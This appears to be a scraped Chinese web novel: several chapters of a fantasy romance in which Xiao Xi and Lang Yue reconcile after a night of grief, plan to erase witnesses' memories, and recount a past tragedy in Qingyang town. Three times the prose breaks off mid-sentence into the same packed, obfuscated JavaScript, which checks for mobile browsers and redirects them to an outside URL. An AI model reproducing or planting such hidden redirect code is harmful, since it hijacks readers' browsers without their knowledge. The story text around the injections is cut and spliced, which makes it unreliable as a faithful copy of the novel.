他究竟为何而困啊…… 他觉得萧喜的这些话是有些诬陷他的,可是只要顺着她的话想下去,却又发现自己毫无辩解的理由。 他真的……让人觉得很有距离感吗…… 还是说,这是他下意识的作茧自缚吗? 苏且光最后的那句—— “你如此费劲心思地在她面前掩饰内心,对她来说其实是种伤害。她刚刚那番话你也听到了,她说芊芊最想要的是我对她的坦诚相待,还有行于当下的珍惜。话本脱于她口,她说的那些,也未必不是她想要的。阿澈,切记珍惜眼前人,莫要变成我这样了……” 是很易令人引起遐思的。 苏且光说,不要让朗月也变成他那样。 是什么样子呢? 苏且光喜欢柳芊芊,却因为未能及时坦诚相待和珍惜,而错过对方。 朗月想着,那么,苏且光的意思是在说,叫他不要因为这些和他一样错失良人吗? 也是在说,他……喜欢……萧喜? 朗月红了脸,可又下意识地觉得心寒。 因为,他不知道自己究竟要怎样才能主动揭开心上的那块伤疤,又怎么坦然地让旁人看清呢? 旁人…… 原来,他总是下意识地将萧喜归为旁人…… 那怎么算得上是喜欢?还是说,是他在不断地逃避感情? 他不知道。 萧喜最后还是晕死了过去,没再有任何挣扎的动作,只得任由朗月摆布,最终还是乖乖被朗月背了回去。 115. 莫逆之交(1) 昨晚的大雨卷来了新鲜的空气,一反前几日从早到晚闷热的天气。 午后没多久又陆陆续续落了几场小雨,今日白天大部分时间都阴着,直到晡时左右才露出阳光来,燥热的天气逐步进入正轨。 萧喜感觉到自己浑身上下冒着热气,不一会儿就醒了过来。醒来后发觉头疼地厉害,乍一眼探头出去,看到外面稍许晴朗的天气,还以为现在只是早晨。 她捧着脑袋,左右看了看才忽然惊醒回神。 她躺在置办在城郊屋子里的床上,可是她记得今儿凌晨还站在苏府内院来着呢,当时……她在和苏且光说话,然后,然后……她好像晕过去了,断片了。 她不可能凭空从苏府内院飞回这里的屋子。 所以肯定是朗月给她送回来的。 那朗月到底是怎么送她回来的?苏府到城郊的距离可不短啊……她懊悔地用手锤了锤自己愚钝的脑袋,还没下出什么力道来,她就嫌自己的拳头太让自己吃痛,放弃了自残的行为。 她这是给人家添了多少麻烦啊!萧喜!你可真是不让人省心! 遥想第一次的苏府奇遇,朗月当时因为燃烧灵根导致自己神志不清的时候,人家还是自顾自地坚持自己走回去,没给她添任何麻烦。 如今风水轮流转,她是遭了殃,却雷打不动地站定给人添尽麻烦的位置,怎么好意思啊! 萧喜愣了愣,忽然意识到自己的变化,其实放在以前,她从来都是那个愿意占尽任何便宜的人,哪里还管给别人添什么麻烦或是造了什么孽?当然,前提是此处的“别人”,都是对自己来说无甚重要的人物。 也许,她早就将朗月视为对自己来说比较重要的人了吧。毕竟,朗月这个人的确是个很容易勾起旁人遐思的人物,虽然萧喜自诩不是吃这套的人,但还是会下意识地去慨叹。而且,更重要的是,朗月这一路上确实帮了她很多,还不计前嫌地与她有所交际。 如今的萧喜已经觉得,人生中能与这样的人相识是极为不错的事情。 萧喜回过神来,左右顾盼,发现屋里屋外都没有任何动静。 也不知道朗月那小子到底去哪儿了。 萧喜略微活动了一番筋骨,下了床后,刚巧与窗外直射进来的光线打了个照面,如此程度的光芒让她的双眼感到不适。 昨晚流了不知多少的泪,哭伤了的双眼上框着一圈惺忪而肿胀的眼皮,每一次睁眼眨眼都会牵扯起眼周皮肉的酸涩之意。 她绕开挡在卧房前头的屏风,一个疲惫而微蜷的背影映入眼帘。 朗月独自一人弯着肘臂撑着身子在桌案上,他将头靠在上头,就这样睡着了。 说起来,这还是萧喜第一次看到少年这般卸下防备而如此狼狈的模样,大抵是太累了吧。 萧喜的脚步渐渐慢下,她不愿自己吵醒了对方。 她本想出门拿布巾浸些温水敷上她肿胀不能的双眼,但刚要出门的时候心里一咯噔,她忽然想起上次朗月燃烧灵根之后差点烧坏脑子的事情,于是下意识地感觉转回脚步,生怕这小子又作什么妖。 她慢慢走近朗月,他清秀的脸庞窝在两只臂窝之间,只肯露出半截出来,他额前几缕发丝因为沾染了昨晚的雨水,在没有及时梳理的情况下显得略微湿漉,从而并在了一起,歪歪斜斜地耷拉在他的额上。 只是,萧喜发现朗月的双眼也肿得厉害,简直同她有得一拼。 不会吧,他也哭了? 萧喜愣在原地。 但朗月的神情看起来十分泰然,萧喜盯着看了好一会儿,眉间愁意才松了些,心中还暗戳戳地感叹现在模样的朗月倒像极了雪日里窝成一团雪球的小白狐,乖巧地厉害。 看朗月一副毫无戒备的模样,萧喜就顺其自然地将手摸上了他的额头,发现额前一片温凉,胸口最后悬着的气也松了去。 她刚要松手,却被朗月攥住了手腕。 萧喜吓得一惊,连忙往后退了几步。 朗月的反应也有些迟钝,估计是因为还没睡醒。他攥着萧喜的手好一会儿才醒神,自认为唐突之后,连忙将手松开。 “你刚刚要做什么?” 他随口问了问,似乎想缓解此时要了命的尴尬。 却没想到,此话一出倒让气氛更凝固了些,萧喜紧张地咽了咽口水,假笑了几声,连忙甩出一口流氓口吻的话来:“没……没干什么,我手滑,不经意间碰到了罢了,哈哈!” 谁的手滑能这么精准? 朗月心知肚明,但没多说什么,表面上点了点头。 萧喜没想多留,加快脚步走出了屋子,背影莫名有些灰溜溜的。 等出了门,萧喜才收拾起自己的兵荒马乱,她恶狠狠地骂了自己一声“蠢货”。 不就是摸额头探个体温吗?!萧喜,你吃错药了?!为这种事情都能把自己搞得这么狼狈?!刚刚还非要编什么理由!萧喜你这么厚的脸皮在这儿呢,实话实说有啥啊?!萧喜你怎么忽然就变了啊?! 她越想越来气,最后蹬了两腿地,扬起了一地灰尘,把自己呛到后才罢了休。 没多久后,她就一手拎着一只浸过温水的布巾重新进了屋子。她看到朗月独自一个人坐在那儿对着窗子发愣,眉宇间充斥了伤感,少年曾经自持的那股清冷傲气不知什么时候就没了踪影。 她兀自叹了一口气,然后朝朗月递了条布巾。朗月这才渐渐有了动作,他一声不啃,也不问什么,只是接过了萧喜的好意,顺其自然。 萧喜看他干捧着东西不动,还是提了一句:“拿这个暂时敷敷眼,一直肿着也不是个办法。” 朗月闻声眼睛动了动,最后还是什么话都没说,只顾着对着萧喜点了几下干巴巴、毫无感情的头。 甚至连一个“嗯”字都没有。 面对朗月态度上的漠然和忽视,萧喜非但不恼,还会默默跟着他后面一起伤感。 她不知道自己应该再说些什么话。 在不了解时局的时候,误打误撞的言论在此时反而会让现状雪上加霜。 她不知道昨天的他到底还经历了什么,也无法想象究竟是什么样的事情会让他这样的人落泪…… 萧喜想着想着,索性找了只卧榻坐下,顺着朗月的目光一起向外探去,眼见天色渐渐暗沉,她才忽然知晓现在根本不是什么早晨。 没过多久,萧喜听到了朗月的一阵叹息,她看到他的背影动了动,将身体往椅子上靠了靠,头微微昂起,正将那条还湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519231|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漉漉的布巾敷上了双眼。 萧喜笑了笑,于是跟着后面,在卧榻上躺了躺,也将自己的那条布巾也敷上了双眼。冰凉凉的触感在微热的眼皮上跳动,慢慢归复平静后,完美贴合。眼皮子的确没有之前那样肿得难受了。 …… 天色已经暗下,萧喜卧榻的位置靠着窗户,窗户在白天的时候就没有关上,现在已至夜晚,巨大温差带来的一阵阵冷飕飕的夜风,从窗子口窜进来窜进去,终究还是将萧喜窜醒了。 萧喜下意识打了个寒颤,她一晃头脸上敷着的布巾就甩到了地上。她搓了搓眼,意识到自己居然躺着躺着又给自己躺睡过去了,也发现自己的眼睛更肿了一些。 眼睛肿胀的时候拿温水敷仅是权宜之计,奈何她睡了过去,时间太久后温水变凉,皮肤盖在不透气的水布里面自然会更肿几分。 屋子里面没有点灯,她暂时只好借着窗外远处城中交相辉映的灯火,去探索视野。她挤着肿眼张望了一圈,发现朗月的身影早已不在,她着急起身去寻找,但在屋子里绕了大半圈还是没看到人影。 出了屋子后,看到朗月靠在门扉负手而立的身影后,她才松了一口气。 朗月听到了萧喜的动静,此时也已经转过身来看她。 “睡得还好吗?” 令萧喜有些意外的是,这次对方居然是主动同她说上话的。 萧喜挂了只笑嘻嘻的笑容,勉强道:“还行。” 她自己哪里知道她面上堆着的这只笑容会挤着眼皮子,将肿胀的两只双眼显现地更为突出? 看着有些滑稽。 “一起去城里买些消肿的草药敷吧,老是用温水也不是个办法,刚好我还有些话要和你说。”朗月微微弯了弯唇,虽然因为憔悴的缘故导致他身上的锋芒弱了不少,但这样的他却显得格外温柔平静,似缓坡上汩汩而流的溪流。 “嗯。”萧喜自知出糗,收下了满面臃肿的笑,低低应上了一句。 萧喜走在朗月的身侧,却总觉得心里被什么东西堵着了,原本洒脱肆意的劲头少了很多,她好像还惦记着昨夜的事情,所以她走着走着,不知什么时候就慢慢与朗月留下了半臂的距离。 在她眼里,这样就算是分寸感了吧。 这倒真不是她性子矫情,只是觉得好似这样才能让她稍稍安心一些。 说实话,昨晚的事情很多,萧喜自己也受到了不少打击,但仔细想来,若不是朗月和哥哥,她便会迟迟困于过去,落得一个万劫不复的结局。 所以,尽管她自己的内心还没有完全缓过来,但面目上和行动上都没有表现出半分的松懈和惰性,因为她挺不希望自己的负面情绪会影响到别人的,尤其是朗月。 更何况,今日看他的情况蛮糟糕的,萧喜更是不愿松劲半分。这样做,也算是当作自己给他添了那么多麻烦后,所作的补偿吧。 今夜风还挺大,郊外蚊虫少了大半。萧喜和朗月一路上虽然没怎么说话,但都心甘情愿着默默缓步走着这一条寂静而单薄的路程,步调心有灵犀般地一致。 终于,朗月眼看着萧喜的距离与自己越来越远时,还是没忍住,打破了沉默:“萧喜,再这么走下去,你怕是要掉进路边的野丛里了。” 116. 莫逆之交(2) 萧喜后知后觉地“啊”了一声,尾调是上移的,显然是一副什么都不知道的模样。只是,这样的举动落在朗月的眼里多少显得刻意。 萧喜好似就是想以这种装傻充愣的模样,掩饰住她心里的真实想法,其实她不是什么都不知道,装作不知道多半像是在故意给他留面子。 朗月心里有些堵。 两个人的步伐一前一后地停下,萧喜略微不自在地站在原地,试图在乌漆嘛黑的夜里将眼神聚焦到朗月略显模糊的身影上。 因为距离,所以模糊。 “你别离我那么远。” 空气静了静,随后湘东响起了萧喜忙不迭靠近的脚步声,她一边凑近过来,一边笑哈哈地解释道:“瞧我着眼睛肿的,都要看不清夜路了!我真不是故意的!” 朗月完全不想领情,手中烧起一团掌火,将两人的面孔齐齐照亮,萧喜的掩饰的表情顿时无处遁形,她话里表现出来的情绪同她脸上表现得完全不一样。 朗月顺着她的话说道:“这样就看得清了。” 表面贴心,实则很让人难堪。 萧喜假笑地有些累,终是恢复了原本的脸色,苍白地道了一声谢。 “你今天和之前很不一样了。” 朗月一边说一边继续向前走。 萧喜偷偷瞥了他一眼,心中也腹诽了一句:你也是。 “对不起。”朗月顿了顿,忽然说道。 萧喜失笑,淡淡问了他:“你怎么都忽然开始说对不起了?” 朗月弯了弯唇角,虽然还是显得憔悴。 “今天是我态度上不好,本来想晚上带你去买些药膏弥补这些,直到现在才开口和你解释。” 萧喜听了,说心里不暖是假的,也知道对方忽然道歉的理由仅此而已也是不可能的,但依旧什么都没问,而是岔开了话题。 “怎么忽然矫情起来了?我之前情绪不好的时候,对你的态度可是又哭又闹的,你当时还不计前嫌地夸我安慰我呢。现在你仅仅因为白日里没同我说话,就觉得自己态度不好了?” “按照你的逻辑,我岂不是还要说今天因为我没有像上次的你一样,耐心夸你安慰你,所以也要觉得是自己态度上不好,而想尽办法来对你道歉呢?” 萧喜的话有些绕口,但终究是说到了对方的心坎儿上。 其实这些话对于萧喜来说都是随心脱口的,但一旦落到现在的朗月耳里,就很容易被赋予上更多的意义。这些意义也不是凭空从石头里蹦出来的歪理,毕竟,等萧喜说完这些话之后,她也后知后觉地感受到了它们的存在。 她的这些话毫不客气的说,是可以从侧面去达成讽刺对方的效果的。 比如,在萧喜上次情绪失控的那个晚上,朗月的的夸赞与安慰,其实是可以视作他主动窥视对方内心的举动的。讽刺的是,到了这次,朗月他自己却极力抗拒旁人主动走近他的内心,而萧喜的一言不发和无所问及,好似都在无时无刻地维护朗月他封闭内心的心理。 这好像有些不公平。 朗月总是在一步步读懂她的心、想要了解她的过去甚至是自顾自隐瞒下一些事情而替她做出选择……而他自己却总是紧闭自己的心门,不愿意将事情吐露,什么也不让别人看见,更加也不会给别人机会去认识真正的他。 被动与主动通通会被拒之门外。 这是种无力的距离感,隐隐约约,却带着不小的威力。萧喜越是与他相处,就越会觉得他的心思难以揣测,甚至从熟悉走向陌生。她也会开始觉得,在这种不公平的机制下,对方每多想要了解她,她就会觉得有多抵抗,这种心态很憋屈。 萧喜在之前就感觉到过,乃至到昨晚才敢确认。 萧喜不是蠢人,更不是个不会察言观色的人。 她知道话既出口,便就覆水难收,再没有必要去白费气力粉饰太平。她默默叹了口气,失落地耷拉下脑袋,只是苦笑道:“我只是觉得你这个人远比我想象的要难懂得多,让我……连靠近都觉得累。” 朗月对于萧喜的回应并不意外,只觉得就算掌心火再多么持久,他却依旧觉得冷,身上无论怎么样都捂不热。 “你和苏且光其实都认识吧,但我能感觉到你当时在极力掩饰这些关系时,表现出的刻意。我不是个太过感性的人,所以在感觉出你身上携带的距离界限时,不可能鲁莽地判定这就是你对我的排斥,更不会仅仅因此而去对你展开断论。 其实在很久之前,卿卿窃玉的时候,你对我阐述事情的时候,就已经着手铺垫这些了吧? 除了苏且光的事情以外,引魂针貌似也早早被你掩藏起了面貌,就在庆阳镇我晕过去的那个夜晚。” 萧喜兀自吸了一口气,强作一副淡定自若的模样,尝试继续云淡风轻地讲出她的话来:“我肯定不会拿道德绑架那一套来逼你。不会觉得因为你主动想要了解我读懂我这件事,而非要你也要准我了解或者去读懂你。虽然让我觉得不公平是的确有的事情。 每个人都有自己的想法,就像你在走近我的时候,我没有抗拒,你也通过你自己的方式帮了我太多,我没有理由去说你。 同理,在你不想被外人接近了解的时候,我也没有理由去不尊重你。 只是,你或许将事情都想复杂了。你觉得所谓的坦诚,就一定非要将自己的内心完完整整地剖开给我看才算,其实,哪怕你只需要告诉我,你有东西不想告诉我,这就够了。 至少,这是你真实的念头。而不是装作什么都没发生过的那副太平景象一样,深不见底的,我连猜你心里想法的资格都没有,甚至还会觉得越矩。” 萧喜挠了挠头,不自然地放下手后又觉得空气开始发酵尴尬。 “你说的没有错。”朗月忽而开口。 “所以……”萧喜的语气走向激动。 “我的确是有事情还瞒着你,之前也确实总站在自己的立场上看待你的问题,如今看来确有唐突。我承认这是我的问题,只是此时并非心扉打开之际,这样,你感觉我们之间的距离会不会没有那么远了?” 朗月被火光点亮的温和的眸光里映着萧喜的身影,他的语气显然真诚了许多,很多在脑中盘旋不休的愁意也解了许多。 萧喜被他的眸光盯得稍微不自在,移开了些目光后,微笑着点了点头:“当然,或许还能变得和之前一样亲近呢!” 朗月忽然想起来昨晚苏且光对他所说的最后一句话。 于是若有所思地问起萧喜来:“萧喜,除了相恋之人以外,彼此之间还能相互珍重的关系还有什么?” 萧喜想都没想,干脆答道:“那肯定是莫逆之交啊!更甚于朋友的关系。” 是啊,莫逆之交…… 萧喜对他来说,怎么会如昨晚他想的那般?彼此珍重的关系有很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“济世堂?那陈织梦就会在吧,我们……还没有告诉她柳芊芊的事情。”萧喜悲色上露。 朗月也收敛了笑容,面容愁意不减。 “不用担心陈织梦的的事情,今晚,她就不会再记得我们任何一个人了。”朗月的话语虽然听起来平静,却暗含着冰雪般的无情。 “什么意思?”萧喜皱着眉头,不解道。 “我不会对门主禀告你的事情,但这并不代表可以保证万事太平。沧凌城请巫风波很大,仙机门既然会接手后面的事情,请巫就不可能安然逃过他们的搜查。请巫的存在消除不了,但我可以消除萧喜你的存在。 如今,让全城的人全部失忆是绝不可能的事情,所以我们只要消除见过你真实面目的人的记忆即可。请巫阶段,你都是蒙面行事,所以事情做起来难度不大。芍七、柳芊芊和苏且光都已经不在了,如今就剩下了济世堂里面的陈织梦、陈家祖父、堂里伙计和陈府的小厮了。” 萧喜苍白着嘴唇,嗫嚅了会儿,才慢慢失落地吐字:“这才是你今晚主要的目的吧,还拿什么买草药的事情来搪塞我。” 朗月摇了摇头,对她郑重说道:“这些事情和买草药都是主要的目的,不分上下。” 萧喜凄哀地长叹了一口气,用略显无奈和荒唐的语气说道:“真是风水轮流转啊……” 117. 血色记忆(1) 萧喜埋头看见路边上的碎石子,苦恼巴巴地一边踢着它们一边往前走,步伐不断减慢,好像是在刻意延缓到达目的地的时间。 她说道:“从前在平台镇的时候,我是你消忆咒的受害者,虽然最后没害成,但我却因此加重了对你们仙机门的偏见。当时沧凌城与你见面的时候,我还经常因为这件事而为自己打抱不平呢。没想到,到了最后,我非但没为自己讨回公道,还跟着你后面,马上就要做了你的帮凶。” “在平台镇的时候,你也没少骗我。”朗月也放缓脚步。 “也是,这样也算是打平了昂,而且我看出来你很讨厌别人骗你,当时我们在沧凌城见的第一面,你那副特别生气的样子我是第一次见。我也看得出来,你这人除了在封闭内心这件事上有些双标,在骗人这件事上也双标呢。” 萧喜抱怨着,却没了精神往里面灌入脾气。在这样平平淡淡的抱怨里,萧喜非但没能借此逞上能耐,反而给自己多添了不少无奈。 朗月说道:“其实,消忆咒在我眼里完全不像你所感觉的那样,是欺骗旁人感情的事情。更多时候,对无知无辜人来说,消忆咒反而是一种解脱,对于我们这些知情者来说,也是无奈之举。我早已习惯这些,无数次的运用,让我将其视为家常便饭,我、乃至整个仙机门都只会视此为理所当然的事情。 萧喜,其实你也没有否认不是吗,刚刚你说的那些话,倒像是认命后感到无力的表现。 或许,有些事情,我们只要做到换位思考,就可以相互理解了。现在,你已经走到了我的立场边。” “你说的一点都不错。” 萧喜抬头看他:“就像今晚第一场的谈话里你能理解我那样,其实,我们都一样。” 朗月弯了下唇,后也抬头往街道边的一侧望过去,盏盏悬在屋檐下的灯笼将他的面庞照得更暖了些,替他削去了身上冰雪般的气息。他说道:“我们到了,走吧。” “今晚是最后的离别。”萧喜回应道,后跟着朗月走进了满是药草气息的堂内。 “哎呀呀,萧姑娘来了!这位公子是……”一位药堂里的伙计殷勤地迎上来。 想来朗月还没有正式走近过这所堂子,伙计不识得朗月也是正常的事情,萧喜解释道:“这位是我的朋友。” “嘶,姑娘你这眼睛怎么肿得这样厉害!小的马上就去给你弄些敷药过来。”这小伙计热情得厉害。 萧喜张望了一遍堂子,结果没有看见陈家祖父和陈织梦的影子,便拉住小伙计,问道:“慢些,你们堂子的两位东家呢?” 小伙计叹气道:“今日不少患病的人发现自己的病症忽然有变,纷纷跑到堂子里要老先生看诊。陈老祖宗和陈姑娘今日累得慌,早早回府歇息去了。” 萧喜心领神会,没再问下去。 待伙计到别处去取药的时候,萧喜拉住朗月悄声说道:“看来自从昨晚封印破灭后,城中人身上的血疾就开始好转了。” 朗月点头称是。 不一会儿,小伙计将草药呈上来,却没有要钱,反而又跑去柜台,给萧喜他们取了只信来,念道:“嚯,今日忙坏了脑子,差点忘了!这是我们东家今日放在堂子里的请帖,本来是托我们明早将此送到你们那儿去的,却没想到今晚二位就自己来了,那我便恭敬不如从命,省些气力,就此交给你们了。” “请帖?是有什么事情吗?”萧喜将东西接过来。 “我们东家要二位明儿午时去府内一聚,说有要紧事儿,具体是什么事儿……”小伙计为难地挠了挠后脑勺,“小的不好自己拆了请帖看,可能里面会说什么吧,二位路上自己看就行。” 萧喜和朗月默默对视了一眼,后出了济世堂。 路上萧喜一边展开帖子,一边说道:“没想到他们会不在,看来给他下的消忆咒的事情还得拖到明日之后。” 帖子上面倒也没写什么事情,就是说陈家祖父发觉怪病突然显现式微之势,觉得蹊跷,要萧喜和朗月前去一叙,顺便还要请他们吃顿好的。请帖下面还有一行字,写的是,希望能将柳芊芊也一并带过去,但不勉强,是怕她会被柳府发现。 封印的破灭也是昨日深夜发生的事情,对于身为局外者的陈家祖父和陈织梦来说,怪病削弱的确是怪事一桩,他们在帖子上强调担忧之事并不是没有道理。 只是帖子末了的“柳芊芊”三个字,虽然被一行字迹迅速带过,在萧喜的眼里它们却似乎带着力透纸背的强力道硬,似乎这三个字马上就要脱出纸面,跑到她的眼前,要将她戳瞎。 萧喜攥着帖子,心里的滋味很不妙,一时竟忘记了自己的肚子发出的一阵“咕咕噜噜”的声音。 朗月看不下去,也知道现在过多的劝解都是徒劳无功,萧喜并非像之前一样觉得柳芊芊的死是她的错,她的难过仅仅是因为难以走出来那段悲催的回忆罢了。对于她的现状,时间才是最好的良药。 他岔开话题,勉强在语气里填了丝轻松的笑意,说道:“我们已经一整天没有好好吃过饭了,要不要去街上逛逛?” 萧喜被他拉回神,她将帖子收了回去,随后向朗月扯了个笑容出来,同意道:“好啊,我很久没吃热腾腾的东西了。我想吃……小云吞、藕饼、肉圆儿、山楂糕!还有青豆小粥……” 朗月不禁失笑:“这么多你吃得下吗?” “吃不下我们就包起来明儿吃啊,不过,我身上没带钱,你得照应着我点儿。”萧喜嘿嘿一笑,随后拉着他往前头满是人潮的大街上挤了过去。 …… 人间烟火色一股脑全拥集在长宽有限的街道上,萧喜拉着朗月找了个能看外头河岸风景的摊子坐下,抬眼望去就能看见满河的画舫船舶在上头悠哉游哉地游荡着,时不时还会飘出段段酒肉香气和琴瑟妙音。 没过多久,他们点的菜就被端了上来。萧喜和朗月面对着面吃了起来,萧喜的动作较为随意,喝汤的时候嫌弃勺子碍事,干脆埋头咬着碗嘴灌下去。而朗月看起来还是同往日一样格外恪守礼节,腰板子挺直着,动作很是慢条斯理。 萧喜暗暗打了个闷嗝,不好意思地拿帕子擦了擦嘴,后又礼貌地给朗月递过去一张新的帕子,说道:“我吃饱了,我想听你说说当时在庆阳镇发生的事情,完整的,客观的那种。你之前答应过我的。” 萧喜特地强调了一番后面“完整”、“客观”二字的重要性,朗月会心一笑,将帕子接过来,擦了擦嘴巴,点头称是。 “我们刚开始进庆阳镇就是落入了一个圈套,这个圈套是一个名曰青灯的女妖设下的,这些事情我先前说过。”朗月先随口说了几句话,意欲将话题引入。 “嗯,我知道。”萧喜喝了一口白水,说道。 “我们两个同时落入幻局,各与一男一女两只蜡人进行交涉。后来在我破局之后,追寻蜡人身上独特的香草气找到了一个叫作德裕金府的地方,本来想去找你。但我没有找到你,所以那个时候就意识到我破局的时间应该比你早。到了最后,我听到了你的脚步声,我与你见了第一面你就晕了过去。” 萧喜眨了眨眼,窘迫地歪头抹了抹脖子,解释道:“这些我也知道,倒不必如此详细。我当时也是被那个蜡人吓得不轻。” 朗月继续说道:“就在那个时候,那个妖怪显身了。我对她的身份存疑,那个时候我因为察觉不到她身上的妖气,所以以为她是鬼怪。她要我坐下,让我听了她的故事。” “什么故事?”萧喜眯了眯眼。 “她说,她的名字叫做青灯,是一只玉蛾妖。百余年前因为受了重伤不得已变回原型,就此在德裕金府歇息。她遇到了一个永远忘不掉的人,日久生情,那个人对她关照地很多,所以她爱上了那个人,就此不愿离开。可惜的是,她爱的人不爱她,而她却想着只要自己一直陪着他,那个人总会看她一眼。” “原来还是个悲情故事,但人妖注定难以修成正果,青灯再怎么痴情都无用的。”萧喜听得出神。 朗月听罢,若有所思地低头一笑,随后说道:“抱歉,我应该讲得更细致些,此处的人并非指凡人,反而也是妖。” 萧喜睁大了些眼睛,感叹道:“原来是这样啊。” “青灯喜欢上的是只蝶妖。那只蝶妖之所以从不回应青灯,是因为他自己有心上人,他的心上人本是瑶池金莲,转世后成为了这座金府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后,蝶妖死了。而金瑶蒂的劫数难逃,她被人救出后又被金府的人带了回去。不久后,德裕金府在盛京做官的大少爷触犯龙颜,势力牵连下,大少爷被陷害地丢去了官职,更是落得了个抄家的结局,朝中大臣说情,才好不容易让金府免去死罪。 府中辉煌一夜坍塌,男子被流放,女子被卖进青楼。金瑶蒂也不例外,只不过后来她又被人劫走,那个夜晚,就是血蠕大劫爆发的那个晚上,她遭遇血蠕之灾,至今不知生死。 青灯对金瑶蒂有愧,对故人有愧。再后来,她行走世间修得秘法,因此探得故人蝶妖的气息,是在盛京。她以为娥蝶妖还没死,便去盛京寻找,发现蝶妖既死是事实,反而是原本生死未卜的金瑶池蒂还活着,只是她身上残留着故人的气息罢了。 青灯发现,金瑶蒂过得不好,被人玷污,甚至痴傻。她想要救这个可怜的姑娘,从而弥补自己的过错。但却发现金瑶蒂身上残留的故人气息,才是护住她命门的关键,然而那气息正在不断消散,后来青灯才得知这股气息是故人身死后,专门藏匿在金瑶蒂身上的一缕残魂。 当年蝶妖冲破囚禁魂魄的术法依然残存于那一缕残魂上,所以只要一日无人稳住那术法,那一缕残魂便只能被术法慢慢反噬……直到全然消散。到了那个时候,蝶妖魂散,金瑶蒂没了庇护终将不得善终。 最后青灯只好独自回到德裕金府,替上故人的位置,将自己封印在此处,只为换得故人残魂不散,金瑶蒂才能继续在这世间活下去……” 就此,故事走向结局。朗月默默移开眼,看向夜色里盖在朦胧灯火下的静水,不再说话。 萧喜不再喝水,她坐在原处,慢慢攥紧手,心里似被刀割一般疼痛。 最后强忍着声色里的颤意,说道:“这个故事……可不完整,我倒是知道更多的内容。” 朗月闻声将目光收回,丝毫不意外地点头,轻声说道:“好。” “金府大公子归来之日,金瑶蒂逃出金府,途遇不测,她被人救出后被府中的人重新找了回去。那个时候,救出金瑶蒂的人是我和哥哥。”萧喜说得出神,眼神波转,藏了千言万语,又期盼被人倾听。 118. 血色记忆(2) 夜风习习,天色更晚了些,原本较为安静的河岸也开始升起喧嚣。萧喜和朗月的身影渐渐没入人潮之中,他们对话的声音也渐渐放开,不再顾忌自己奇怪的话题会引起旁人注意的问题。 萧喜回忆起当年的事情,松懈下身体,用手撑着脖子,盯着另外一直放在桌下攥紧了的那只手,继续说道:“在此之前,我还是将从前的事情一并说清楚了吧。 我与哥哥萧吉并不是土生土长的庆阳人,在很小的时候,我们兄妹二人因为故乡闹了饥荒不得已逃出来,在庆阳镇讨下活路。小时候的日子并不好过,我与哥哥甚至做过乞丐讨饭的行当,后来哥哥为了生计,带着我加入了丐帮。 我们兄妹二人就这样生活到了六年前,那年我才十二岁,哥哥已经十五岁。 一日,我们被人陷害,一起被关进了地室,哥哥聪明,在深夜前和我逃出了地室。说起来真是奇怪,过了深夜后的那一日便是金瑶蒂逃出金府的日子。在到达次日凌晨的那段时间里,我与哥哥一起去找了陷害我们的那个人,那时候的哥哥奇怪,嘴里总是说着要害我们的那个人付出代价,而他也的确带着我偷偷找到了那个人。 后来不知道怎么回事,哥哥又变了个样子,当时他拿到了坑害那个陷害之人的证据后,那个人也逃走了。哥哥说,他不想再找那个人的麻烦了,而是要去救人,也就是金瑶蒂。结果,他原本要找的那个陷害之人,就是最后想要劫走金瑶蒂的人。这也未免太巧了。 奇怪吧,我也不明白哥哥怎么一下子就变了个人样,也不明白他为什么会认识金瑶蒂。 后来,金瑶蒂就是被我们救下来的,她受了寒气,我们将她送去医治。我们三个人因此结识,而哥哥好像也喜欢上了金瑶蒂,金瑶蒂也因为救命之恩,对哥哥心怀情谊。可惜的是,年幼的我并不明白他们之间的情愫,还觉得越来越不满,这种不满在最开始,其实只是始于一串简简单单的糖葫芦。 除夕日,在金瑶蒂离开的时候,哥哥用仅剩的几只铜钱给她买了串糖葫芦,我从未吃过那样的东西,我也想要,哥哥却说,下次再给我买。我知道这句‘下次’定是个遥不可及的日子。 一串简简单单的糖葫芦,是偏心的开始。我幼稚地觉得金瑶蒂的出现,带走了哥哥对我独一无二的疼爱,我是不是特别幼稚,甚至还有些狠毒?” 萧喜凉凉一笑,眼里却擒着泪,将本就肿胀的眼皮挤得更加红紫。 朗月一言不发,似乎也在思考。 萧喜却又开口:“你是不是觉得我很像个疯婆子?在这里,说这些听起来特别奇怪的事情……” 朗月淡淡摇了摇头:“其实,在很久之前,我就已经察觉到你与金瑶蒂有着不浅的联系,你说的这些,我虽然从未听闻,却也不难想通。况且我并不觉得那时的你有多么幼稚恶毒,那是人之常情。你的过去本就决定了你的感情,哥哥是你唯一的依靠,你不想让这些对你来说稀缺又宝贵的依靠,从自己身上流失。” “你既然能猜到我与金瑶蒂之间的关系,也能在昨日雨夜疏清我与哥哥之间的关系,想必,青灯肯定是和你说了我曾经身中血蠕的事情吧?”萧喜抬眼问道。 朗月应道:“不仅如此。还记得在第一次入苏府祠堂的时候,大雾障目时,我为了让你确定自己究竟是不是真的朗月时,说过的那句话吗?” 萧喜眼睛亮了亮,迟疑了半晌,说道:“你说,我是庆阳镇最后的幸存者,背负命运,拿着三十年寿命在暗曹营换取了灵根?” “所以,你的意思是……” “我并非你想的那般神通广大,之所以能说出这些事情并非因为自己早就明晰,而是经青灯提点之后才知晓。” 